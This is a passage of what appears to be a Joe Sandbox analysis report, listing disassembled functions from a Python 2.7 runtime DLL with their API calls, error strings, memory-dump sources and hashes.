                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$CheckFormatStackString
                                                                                                                                                                    • String ID: Stack overflow$maximum recursion depth exceeded%s
                                                                                                                                                                    • API String ID: 3709953551-2207580994
                                                                                                                                                                    • Opcode ID: 79af9532bbbebcfb884ad4c813e4c6e1f3dfb7a00f21f42cfd30f8d69c117498
                                                                                                                                                                    • Instruction ID: c5f8cd1b3e879765a3d2f67e1a7d33cf8534030d1523104d28d0071dc6a99a02
                                                                                                                                                                    • Opcode Fuzzy Hash: 79af9532bbbebcfb884ad4c813e4c6e1f3dfb7a00f21f42cfd30f8d69c117498
                                                                                                                                                                    • Instruction Fuzzy Hash: 7BF036726146049B8F14EBA9EC89C567398E7593753008627FA3CC3B84DB35D850DB99
                                                                                                                                                                    Function 670AA620 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute not set,object), ref: 670AA63E
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute must be str,object), ref: 670AA666
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %.200s attribute must be str$%.200s attribute not set$object
                                                                                                                                                                    • API String ID: 376477240-465120111
                                                                                                                                                                    • Opcode ID: 3ea02583e313fe8648c2a78ccdf805f20a69321104c2e714569dc2f5bdc9c815
                                                                                                                                                                    • Instruction ID: 19a3c86f21a820689cbaa3bafa5178b08d97ce683287f7c81d833d9c711554a9
                                                                                                                                                                    • Opcode Fuzzy Hash: 3ea02583e313fe8648c2a78ccdf805f20a69321104c2e714569dc2f5bdc9c815
                                                                                                                                                                    • Instruction Fuzzy Hash: 8BF065717602085FD710CAB4E999E2633E89B5C218F044951FC1C87102DB2AD995DEA0
                                                                                                                                                                    Function 670AA550 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute not set,encoding), ref: 670AA56E
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute must be str,encoding), ref: 670AA596
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %.200s attribute must be str$%.200s attribute not set$encoding
                                                                                                                                                                    • API String ID: 376477240-2505966323
                                                                                                                                                                    • Opcode ID: e3f1f60d8348f334c3bf7c429c746bbdfdea358649dc44a3c2aa802f8d64460a
                                                                                                                                                                    • Instruction ID: b67896396b5426991d08965fd8b8fa03d5a0386ca65322ca944eb00886000840
                                                                                                                                                                    • Opcode Fuzzy Hash: e3f1f60d8348f334c3bf7c429c746bbdfdea358649dc44a3c2aa802f8d64460a
                                                                                                                                                                    • Instruction Fuzzy Hash: 11F06571B502049FD710CBB4E849E1B33AC9B8C25CF004951F91C97502D725D8949A55
                                                                                                                                                                    Function 670AA5B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute not set,encoding), ref: 670AA5CE
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute must be str,encoding), ref: 670AA5F6
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %.200s attribute must be str$%.200s attribute not set$encoding
                                                                                                                                                                    • API String ID: 376477240-2505966323
                                                                                                                                                                    • Opcode ID: e3f1f60d8348f334c3bf7c429c746bbdfdea358649dc44a3c2aa802f8d64460a
                                                                                                                                                                    • Instruction ID: 3854eaf9bb2d6dffc0c4c16146645a22e4bd46b5a55842d755d0bd22c8f8e946
                                                                                                                                                                    • Opcode Fuzzy Hash: e3f1f60d8348f334c3bf7c429c746bbdfdea358649dc44a3c2aa802f8d64460a
                                                                                                                                                                    • Instruction Fuzzy Hash: A0F065717502089FD710CBB4E859E1B33AC9B8C21CF004951F91C97502DB25D8949A55
                                                                                                                                                                    Function 670AA500 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute not set,object,670AA69F), ref: 670AA514
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%.200s attribute must be unicode,object), ref: 670AA53C
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %.200s attribute must be unicode$%.200s attribute not set$object
                                                                                                                                                                    • API String ID: 376477240-1433534347
                                                                                                                                                                    • Opcode ID: 166bf2f4ecea366b6d2d094f4b77dd3e403319da76ecbb70f16448112d8c19d4
                                                                                                                                                                    • Instruction ID: f030ff70ae9ad5bce274f96aa4c962fe497ca3cc77c1156f0426618db4bc27fb
                                                                                                                                                                    • Opcode Fuzzy Hash: 166bf2f4ecea366b6d2d094f4b77dd3e403319da76ecbb70f16448112d8c19d4
                                                                                                                                                                    • Instruction Fuzzy Hash: 27E086B0B611046BDF10DA70DD89F2B33E4979C209F044955FD1587102EB2EC595EA60
                                                                                                                                                                    Function 67130600 Relevance: 7.6, APIs: 5, Instructions: 76threadCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • malloc.MSVCR90 ref: 67130607
                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 6713065C
                                                                                                                                                                    • _PyThreadState_Init.PYTHON27(00000000), ref: 67130692
                                                                                                                                                                    • InterlockedDecrement.KERNEL32(?), ref: 671306C9
                                                                                                                                                                    • SetEvent.KERNEL32(?), ref: 671306D7
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Thread$CurrentDecrementEventInitInterlockedState_malloc
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 743730388-0
                                                                                                                                                                    • Opcode ID: b59a97dcbddedddb4401e810440b69995bb6ae5a113080e21653a4dea08bb261
                                                                                                                                                                    • Instruction ID: f50eb56e6ec4d3a3c9dfc42309fdea977ecb208118e34c71ce57b7c1d14838a6
                                                                                                                                                                    • Opcode Fuzzy Hash: b59a97dcbddedddb4401e810440b69995bb6ae5a113080e21653a4dea08bb261
                                                                                                                                                                    • Instruction Fuzzy Hash: 8031DFF1900B619FDB20DF2AC985402FBF5BB596257908A3FE5AA87A00D335A484CF84
                                                                                                                                                                    Function 67009700 Relevance: 7.6, APIs: 5, Instructions: 64fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • fwrite.MSVCR90 ref: 6700971E
                                                                                                                                                                    • fflush.MSVCR90 ref: 67009742
                                                                                                                                                                    • memmove.MSVCR90(?,00000014,?), ref: 67009761
                                                                                                                                                                    • PyString_AsString.PYTHON27(?), ref: 67009775
                                                                                                                                                                    • PyErr_SetFromErrnoWithFilename.PYTHON27(67244EC0,00000000), ref: 67009785
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_ErrnoFilenameFromStringString_Withfflushfwritememmove
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2743657609-0
                                                                                                                                                                    • Opcode ID: d0fba44549ab4a5cf5e771dee3b6273c794509d1156b15fc40a0b2a7f991f55b
                                                                                                                                                                    • Instruction ID: b9226431be17cfe12e53f9718c734d7814999939fe749eaf0e32a4b783b66511
                                                                                                                                                                    • Opcode Fuzzy Hash: d0fba44549ab4a5cf5e771dee3b6273c794509d1156b15fc40a0b2a7f991f55b
                                                                                                                                                                    • Instruction Fuzzy Hash: 761106B65142005BDB10DE68DCC9EA777ACEF49324F040665FD1C9B24AE735E82087F2
                                                                                                                                                                    Function 670BF5F0 Relevance: 7.6, APIs: 5, Instructions: 52COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • malloc.MSVCR90 ref: 670BF60D
                                                                                                                                                                    • PyUnicodeUCS2_EncodeDecimal.PYTHON27(?,?,00000000,00000000), ref: 670BF624
                                                                                                                                                                    • free.MSVCR90 ref: 670BF631
                                                                                                                                                                    • PyLong_FromString.PYTHON27(00000000,00000000,?), ref: 670BF648
                                                                                                                                                                    • free.MSVCR90 ref: 670BF653
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: free$DecimalEncodeFromLong_StringUnicodemalloc
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3848787443-0
                                                                                                                                                                    • Opcode ID: f51903efea72b1ba1c8e3df147ae7ad2e064e0f1a32fed6f1875226bb34c972c
                                                                                                                                                                    • Instruction ID: 7a0fb66ce6775739b755bfd43d7aa74f386a24f7fe39cd2bb8b7573ca5767dc1
                                                                                                                                                                    • Opcode Fuzzy Hash: f51903efea72b1ba1c8e3df147ae7ad2e064e0f1a32fed6f1875226bb34c972c
                                                                                                                                                                    • Instruction Fuzzy Hash: 68F0F9766001112BEB106669AC0AB8B779DDF95A78F140532FE18C7240F676F61186F9
                                                                                                                                                                    Function 670BDD90 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 167COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672463F8,can't convert negative long to unsigned), ref: 670BDDB8
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672463F8,long too big to convert), ref: 670BDF06
                                                                                                                                                                    Strings
                                                                                                                                                                    • long too big to convert, xrefs: 670BDF00
                                                                                                                                                                    • can't convert negative long to unsigned, xrefs: 670BDDB2
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: can't convert negative long to unsigned$long too big to convert
                                                                                                                                                                    • API String ID: 1450464846-3211828677
                                                                                                                                                                    • Opcode ID: 88921f3591a0db34d0d1d43b402f7de89efc85ace05365a5514fcd478e2b4475
                                                                                                                                                                    • Instruction ID: e3709af15a06b6eb27ad3232245406f2a871699d4cc7c10c98210a3221b22cc4
                                                                                                                                                                    • Opcode Fuzzy Hash: 88921f3591a0db34d0d1d43b402f7de89efc85ace05365a5514fcd478e2b4475
                                                                                                                                                                    • Instruction Fuzzy Hash: 1A51E63590420BDBCF24DEA8C8C07ADB7F5EB69715F204679E86597380D7369A41CB70
                                                                                                                                                                    Function 670EA680 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,bad argument type for built-in operation), ref: 670EA6CD
                                                                                                                                                                      • Part of subcall function 670E8180: PyCodec_LookupError.PYTHON27(10000000,00000000,00000000,00000000,00000000,?,670018AF), ref: 670E81B1
                                                                                                                                                                      • Part of subcall function 670E8180: _PyObject_CallFunction_SizeT.PYTHON27(67245FF0,ss#nns,?,670018AF,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,670018AF), ref: 670E81EE
                                                                                                                                                                      • Part of subcall function 670E8180: PyObject_CallFunctionObjArgs.PYTHON27(00000000,?,00000000,00000000,00000000,00000000,?,670018AF), ref: 670E822F
                                                                                                                                                                      • Part of subcall function 670E8180: PyErr_SetString.PYTHON27(672448B0,decoding error handler must return (unicode, int) tuple,?,?,?,00000000,00000000,00000000,?,670018AF), ref: 670E825C
                                                                                                                                                                    Strings
                                                                                                                                                                    • unicode_internal, xrefs: 670EA72A
                                                                                                                                                                    • truncated input, xrefs: 670EA725
                                                                                                                                                                    • bad argument type for built-in operation, xrefs: 670EA6C7
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CallErr_Object_String$ArgsCodec_ErrorFunctionFunction_LookupSize
                                                                                                                                                                    • String ID: bad argument type for built-in operation$truncated input$unicode_internal
                                                                                                                                                                    • API String ID: 3383467039-1149483871
                                                                                                                                                                    • Opcode ID: 2fa12cece4d54b4ea9b8b65c23db07b593d39abb8c00f2d0f1a0f4e666a60494
                                                                                                                                                                    • Instruction ID: 1d366958a1e55307c7e8fe80386f3eb91bdfb49b77953bafe05938291b9f23bc
                                                                                                                                                                    • Opcode Fuzzy Hash: 2fa12cece4d54b4ea9b8b65c23db07b593d39abb8c00f2d0f1a0f4e666a60494
                                                                                                                                                                    • Instruction Fuzzy Hash: 3B5168B5E001099FDB04DFA8DD80AEE77F9EF5C324B258269D95897240E730DE46CBA1
                                                                                                                                                                    Function 67004400 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(deque index out of range), ref: 670044DB
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245B38,00000000,deque index out of range), ref: 670044E4
                                                                                                                                                                    Strings
                                                                                                                                                                    • deque index out of range, xrefs: 670044D6
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670044D0
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromObjectStringString_
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$deque index out of range
                                                                                                                                                                    • API String ID: 1840871587-1730769464
                                                                                                                                                                    • Opcode ID: 735a13af077eccca941107a34f44438e5bd7f062f24f19ad768f2ba106cee157
                                                                                                                                                                    • Instruction ID: 4a948ab6719d9f0c5f7ebab5791ca5666950a05186ccdd3fc07464cc1e08367a
                                                                                                                                                                    • Opcode Fuzzy Hash: 735a13af077eccca941107a34f44438e5bd7f062f24f19ad768f2ba106cee157
                                                                                                                                                                    • Instruction Fuzzy Hash: AD31EA31B045025BD704CE6DDC80A5573E4FF9A335B058369F9288B790EB71F85287E5
                                                                                                                                                                    Function 67001C60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:utf_16_be_decode,?,?,?), ref: 67001C8B
                                                                                                                                                                    • PyUnicodeUCS2_DecodeUTF16Stateful.PYTHON27(?,?,?,00000001,?), ref: 67001CC0
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
                                                                                                                                                                    • String ID: s*|zi:utf_16_be_decode
                                                                                                                                                                    • API String ID: 227215544-4276332408
                                                                                                                                                                    • Opcode ID: 1af202421f6310f55c964fc32a20df78ac94216f224e0f968b90d34b2aaef70e
                                                                                                                                                                    • Instruction ID: 4e2569db64d34d83ad71a3c969eed32e4546b475a28a280adc30ed9972801579
                                                                                                                                                                    • Opcode Fuzzy Hash: 1af202421f6310f55c964fc32a20df78ac94216f224e0f968b90d34b2aaef70e
                                                                                                                                                                    • Instruction Fuzzy Hash: 5A318BB6A00104AFDB04CF99DC85DEE73B9FF88324B14426DE51997240E731DE05C7A1
                                                                                                                                                                    Function 670025D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:mbcs_decode,?,?,?), ref: 670025F4
                                                                                                                                                                    • PyUnicode_DecodeMBCSStateful.PYTHON27(?,?,?,?), ref: 67002625
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
